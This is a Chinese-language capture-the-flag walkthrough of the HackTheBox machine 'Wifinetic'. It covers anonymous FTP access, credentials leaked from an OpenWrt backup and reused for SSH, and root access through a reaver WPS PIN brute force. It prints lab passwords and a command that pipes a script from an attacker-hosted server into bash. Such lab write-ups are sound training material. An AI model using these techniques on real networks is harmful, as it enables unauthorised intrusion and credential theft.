HackTheBox-Machines--Wifinetic

news2024/11/19 12:35:39

文章目录

1 端口扫描
2 测试思路
3 21端口测试&权限获取
4 权限提升
- 方法一
- 方法二：

Wifinetic 测试过程

1 端口扫描

nmap -sC -sV 10.129.229.90

在这里插入图片描述

2 测试思路

目标开启了21、22、53端口，并且21端口FTP服务允许匿名登录，所以从21端口开始进行测试。

3 21端口测试&权限获取

1.ftp匿名访问

ftp 10.129.229.90

在这里插入图片描述

2.使用get 或者 mget * 命令下载发现的txt及pdf文件

在这里插入图片描述

3.解压下载的tar文件，发现存在passwd文件及config配置文件

tar -zxvf backup-OpenWrt-2023-07-26.tar

在这里插入图片描述

4.查看passwd和config配置文件

cat /etc/passwd
cat/etc/config

在passwd文件中发现用户名netadmin，在/config/wireless文件中发现option key：VeRyUniUqWiFIPasswrd1!
在这里插入图片描述

在这里插入图片描述
5.使用netadmin:VeRyUniUqWiFIPasswrd1!进行ssh登录

在这里插入图片描述

4 权限提升

方法一

ifconfig

发现两个无线接口，但是无法确定wlan0和wlan1哪一个是客户机，哪一个是AP。进一步测试。

在这里插入图片描述

# 检查系统运行的自定义服务
systemctl status wpa_supplicant.service

在这里插入图片描述

# 检查hostpad服务
systemctl status hostapd.service

确定wlan0为AP接入点
在这里插入图片描述

# 列举无线接口
iwconfig

在这里插入图片描述

# 提供无线网络接口及其配置的详细信息
iw dev

从输入可知：wlan0为AP接入点，并且和phy 0关联，BSSID值为：02:00:00:00:00:00，信道为1
在这里插入图片描述

#检查预安装工具
getcap -r / 2>/dev/null

在这里插入图片描述

# 使用reaver工具暴力破解WPS PIN
reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1

在这里插入图片描述

su root
# password
WhatIsRealAnDWhAtIsNot51121!

在这里插入图片描述

方法二：

python3 -m http.server 8000

# 使用linpeas.sh脚本检测可使用的方法及工具，检测到可使用reaver工具，后续步骤如上所示
 curl http://10.10.14.53:8000/linpeas.sh | bash

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1567164.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！